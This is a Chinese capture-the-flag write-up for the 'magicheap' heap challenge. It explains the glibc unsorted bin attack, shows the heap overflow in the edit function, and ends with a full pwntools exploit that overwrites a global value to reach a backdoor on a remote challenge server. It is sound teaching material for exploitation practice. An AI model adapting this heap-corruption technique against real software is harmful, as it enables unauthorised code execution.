hitcontraining_magicheap
在这里插入图片描述

unsortedbin_attack的重点是

// 当从unsorted bin取出chunk时:
bck = victim->bk;
unsorted_chunks(av)->bk = bck;    // 1. 修改链表尾
bck->fd = unsorted_chunks(av);    // 2. 关键!向 bck->fd 写入 unsorted bin 地址

victim是unsortedbin里面最后一个,bck是 victim的后一个chunk(在双向链表中)
在 unsorted bin 的双向循环链表中:

unsorted bin: [HEAD] <-> [chunkA] <-> [chunkB] <-> [chunkC] <-> [HEAD]
                     fd->         fd->         fd->
                     <-bk         <-bk         <-bk

当我们从unsortedbin里面取出chunk的时候
victim->bk指针会赋值给bck
bck->fd会写入到unsortedbin的地址
当我们要取出 chunkB 时:

  1. victim = chunkB
  2. bck = victim->bk = chunkC ← 这是victim的后一个chunk
  3. fwd = victim->fd = chunkA ← 这是victim的前一个chunk
    移除前:
         fwd          victim          bck
         ↓             ↓             ↓
[HEAD] <-> [chunkA] <-> [chunkB] <-> [chunkC] <-> [HEAD]

移除操作:

fwd->bk = bck;    // chunkA->bk = chunkC
bck->fd = fwd;    // chunkC->fd = chunkA

移除后:

         fwd                    bck
         ↓                       ↓
[HEAD] <-> [chunkA] <-----------> [chunkC] <-> [HEAD]
                bk->               <-fd

进入题目
在这里插入图片描述这里看到一个判断

if ( n3 == 4869 )
      {
        if ( (unsigned __int64)magic <= 0x1305 )
        {
          puts("So sad !");
        }
        else
        {
          puts("Congrt !");
          l33t();
        }

在这里插入图片描述
这个刚好是后门
0x1305就是4869
这时候想到的就是通过unsortedbin攻击来修改magic的值为一个很大的数来直接通过判断
在这里插入图片描述
创建函数
在这里插入图片描述
edit这里可以看到

printf("Size of Heap : ");
read(0, buf, 8uLL);
nbytes = atoi(buf);
printf("Content of heap : ");
read_input(*((void **)&heaparray + n0xA), nbytes);

这里虽然读取了重新输入的size,但是并没有重新malloc,所以这里可以任意堆溢出
[图片]
这里指针置空了没有UAF
在这里插入图片描述
没有PIE
先写出自动化脚本
在这里插入图片描述

from pwn import *
p = process('./magicheap')

def debug():
        gdb.attach(p)
        pause()

def add(size, content):
        p.sendlineafter(b'Your choice :',b'1')
        p.sendlineafter(b'Size of Heap : ',str(size).encode())
        p.sendafter(b'Content of heap:',content)


def edit(index, size, content):
        p.sendlineafter(b'Your choice :',b'2')
        p.sendlineafter(b'Index :',str(index))
        p.sendlineafter(b'Size of Heap : ',str(size).encode())
        p.sendlineafter(b'Content of heap : ',content)

def delete(index):
        p.sendlineafter(b'Your choice :',b'3')
        p.sendlineafter(b'Index :',str(index).encode())

add(0x20,b'a'*0x10) #0 任意修改
add(0x80,b'b'*0x10) #1 unsorted攻击
add(0x20,b'c'*0x10) #2 防止被合并

在这里插入图片描述
这里看到成功分配了
现在free掉chunk1

delete(1)

在这里插入图片描述
在unsortedbin
在这里插入图片描述
在这里插入图片描述

0x7ffff7dd1b70 <main_arena+80>:        0x0000000000000000        0x00000000006030f0 #top
0x7ffff7dd1b80 <main_arena+96>:        0x0000000000000000        0x0000000000603030 #unsort

现在开始修改bk
我们需要修改的是magic的值
在这里插入图片描述
在这里插入图片描述

magic = 0x6020a0
fd = 0
bk = magic - 0x10

edit(0,0x40,b'a'*0x20+p64(0)+p64(0x91)+p64(fd)+p64(bk))

在这里插入图片描述
可以看到chunk1这里的bk被改成了magic-0x10 (fd无所谓)
在这里插入图片描述这时候将free的chunk1申请回来就可以改变这里的值

add(0x80,b'd'*0x10) #1

在这里插入图片描述
在这里插入图片描述
可以看到这个时候magic的值被改变了这时候输入4869就可以进去到后门函数
在这里插入图片描述
EXP:

from pwn import *
context.log_level = 'debug'
#p = process('./magicheap')
p = remote('node5.buuoj.cn',28060)

def debug():
        gdb.attach(p)
        pause()

def add(size, content):
        p.sendlineafter(b'Your choice :',b'1')
        p.sendlineafter(b'Size of Heap : ',str(size).encode())
        p.sendafter(b'Content of heap:',content)


def edit(index, size, content):
        p.sendlineafter(b'Your choice :',b'2')
        p.sendlineafter(b'Index :',str(index))
        p.sendlineafter(b'Size of Heap : ',str(size).encode())
        p.sendlineafter(b'Content of heap : ',content)

def delete(index):
        p.sendlineafter(b'Your choice :',b'3')
        p.sendlineafter(b'Index :',str(index).encode())

add(0x20,b'a'*0x10) #0
add(0x80,b'b'*0x10) #1
add(0x20,b'c'*0x10) #2

delete(1)

magic = 0x6020a0
fd = 0
bk = magic - 0x10

edit(0,0x40,b'a'*0x20+p64(0)+p64(0x91)+p64(fd)+p64(bk))

add(0x80,b'd'*0x10) #1

#debug()

p.sendlineafter(b':',b'4869')

p.interactive()
posted on 2025-12-11 16:21  Lplum  阅读(1)  评论(0)    收藏  举报